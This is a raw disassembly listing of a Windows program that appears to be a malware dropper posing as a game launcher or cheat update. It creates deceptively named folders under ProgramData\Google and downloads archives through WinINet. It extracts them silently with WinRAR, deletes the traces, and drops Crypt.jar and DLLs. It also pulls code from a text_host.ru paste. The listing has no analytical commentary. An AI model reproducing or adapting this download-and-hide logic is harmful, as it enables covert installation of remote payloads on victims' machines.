push str.C:_ProgramData_Google_java_conf_security
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.C:_ProgramData_Google_java_conf_security_anti
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.C:_ProgramData_Google_java_conf_security_anti_protect
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x2190]
mov byte [ebp - 4], 4
call fcn.0040d9f0
push 0x4929ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0xb8
lea eax, [ebp - 0x23a0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x23a0]
push str.C:ProgramDataGooglelaunch_assetsindexes1.16.json
call fcn.00411ac0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x23a0]
mov eax, dword [ebp - 0x23a0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
test al, al
jne 0x423760
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492bf4
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0
push 0
push 0
push str.My_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x2028], ecx
test ecx, ecx
jne 0x423614
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a54
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x23a0]
call fcn.00408e60
lea ecx, [ebp - 0x22e8]
call fcn.00408e60
mov ecx, dword [ebp - 0x2054]
cmp ecx, 0xf
jbe 0x423239
mov edx, dword [ebp - 0x2068]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42322f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
jmp 0x42322f
cmp dword [0x49b110], 0xf
mov eax, 0x49b0fc
push 0
cmova eax, dword [0x49b0fc]
push 0x84000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x203c], eax
test eax, eax
jne 0x423669
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a6c
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x2028]
call edi
push 0xb0
lea eax, [ebp - 0x2190]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x2190]
push 0x20
push str.C:ProgramDataGooglelaunch_assets.rar
call fcn.00411830
lea eax, [ebp - 0x2020]
mov byte [ebp - 4], 7
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x203c]
call esi
test eax, eax
je 0x423700
mov edi, dword [ebp - 0x203c]
nop word [eax + eax]
mov eax, dword [ebp - 0x2020]
test eax, eax
je 0x4236fa
push 0
push eax
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x2190]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x2020]
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push edi
call esi
test eax, eax
jne 0x4236c0
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x218c]
call fcn.00411a30
test eax, eax
jne 0x423728
mov eax, dword [ebp - 0x2190]
lea ecx, [ebp - 0x2190]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push dword [ebp - 0x203c]
call edi
push dword [ebp - 0x2028]
call edi
push str.c:_Program_Files_WinRARRar.exe__Y_x__C:ProgramDataGooglelaunch_assets.rar___C:ProgramDataGooglelaunch____NUL
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:ProgramDataGooglelaunch_assets.rar
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2190]
call fcn.0040d9f0
push 0x4929ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0xb8
lea eax, [ebp - 0x2458]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x2458]
push str.C:ProgramDataGooglelaunch_nativesglfw.dll
call fcn.00411ac0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2458]
mov eax, dword [ebp - 0x2458]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
test al, al
jne 0x423a83
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492ce8
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0
push 0
push 0
push str.My_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x2028], ecx
test ecx, ecx
jne 0x42393d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a54
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x2458]
call fcn.00408e60
jmp 0x4235c1
cmp dword [0x49b140], 0xf
mov eax, 0x49b12c
push 0
cmova eax, dword [0x49b12c]
push 0x84000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x203c], eax
test eax, eax
jne 0x423992
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a6c
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x2028]
call edi
push 0xb0
lea eax, [ebp - 0x2190]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x2190]
push 0x20
push str.C:ProgramDataGooglelaunch_natives.rar
call fcn.00411830
lea eax, [ebp - 0x2020]
mov byte [ebp - 4], 9
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x203c]
call esi
test eax, eax
je 0x423a23
mov edi, dword [ebp - 0x203c]
mov eax, dword [ebp - 0x2020]
test eax, eax
je 0x423a1d
push 0
push eax
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x2190]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x2020]
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push edi
call esi
test eax, eax
jne 0x4239e3
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x218c]
call fcn.00411a30
test eax, eax
jne 0x423a4b
mov eax, dword [ebp - 0x2190]
lea ecx, [ebp - 0x2190]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push dword [ebp - 0x203c]
call edi
push dword [ebp - 0x2028]
call edi
push str.c:_Program_Files_WinRARRar.exe__Y_x__C:ProgramDataGooglelaunch_natives.rar___C:ProgramDataGooglelaunch____NUL
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:ProgramDataGooglelaunch_natives.rar
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2190]
call fcn.0040d9f0
push 0x4929ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0xb8
lea eax, [ebp - 0x2510]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x2510]
push str.C:ProgramDataGooglejavaconf_security_antiprotectCrypt.jar
call fcn.00411ac0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2510]
mov eax, dword [ebp - 0x2510]
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
test al, al
jne 0x423db5
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492df0
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0
push 0
push 0
push str.My_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x2028], ecx
test ecx, ecx
jne 0x423c6d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a54
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x2510]
call fcn.00408e60
lea ecx, [ebp - 0x2458]
call fcn.00408e60
jmp 0x4235c1
cmp dword [0x49b0e0], 0xf
mov eax, 0x49b0cc
push 0
cmova eax, dword [0x49b0cc]
push 0x84000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x203c], eax
test eax, eax
jne 0x423cc2
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a6c
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x2028]
call edi
push 0xb0
lea eax, [ebp - 0x2190]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x2190]
push 0x20
push str.C:ProgramDataGooglelaunchCrypt.rar
call fcn.00411830
lea eax, [ebp - 0x2020]
mov byte [ebp - 4], 0xb
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x203c]
call esi
test eax, eax
je 0x423d53
mov edi, dword [ebp - 0x203c]
mov eax, dword [ebp - 0x2020]
test eax, eax
je 0x423d4d
push 0
push eax
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x2190]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x2020]
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push edi
call esi
test eax, eax
jne 0x423d13
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x218c]
call fcn.00411a30
test eax, eax
jne 0x423d7d
mov eax, dword [ebp - 0x2190]
lea ecx, [ebp - 0x2190]
push 0
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push dword [ebp - 0x203c]
call edi
push dword [ebp - 0x2028]
call edi
push str.c:_Program_Files_WinRARRar.exe__Y_x__C:ProgramDataGooglelaunchCrypt.rar___C:ProgramDataGooglejavaconf_security_antiprotect____NUL
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:ProgramDataGooglelaunchCrypt.rar
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2190]
call fcn.0040d9f0
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x34
movups xmmword [ecx], xmm0
push str.https:__text_host.ru_raw_tekushchee_obnovlenie_chita
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00414480
lea ecx, [ebp - 0x20c8]
call fcn.004221f0
add esp, 0x18
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x20b0]
push 0x2e
xorps xmm0, xmm0
mov dword [ebp - 0x20a0], 0
push str.C:ProgramDataGooglelaunch_nativeslevin.dll
movups xmmword [ebp - 0x20b0], xmm0
mov dword [ebp - 0x209c], 0
call fcn.00414480
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
xorps xmm0, xmm0
push 0x34
movups xmmword [ecx], xmm0
push str.https:__text_host.ru_raw_tekushchee_obnovlenie_chita
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00414480
lea ecx, [ebp - 0x20e0]
call fcn.004221f0
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x20b0]
mov byte [ebp - 0x201f], 0
lea ecx, [ebp - 0x2050]
push dword [ebp - 0x201f]
call fcn.00419280
add esp, 0x1c
lea ecx, [ebp - 0x2050]
mov byte [ebp - 4], 0xf
call fcn.00405ba0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x203c]
mov byte [ebp - 0x2511], al
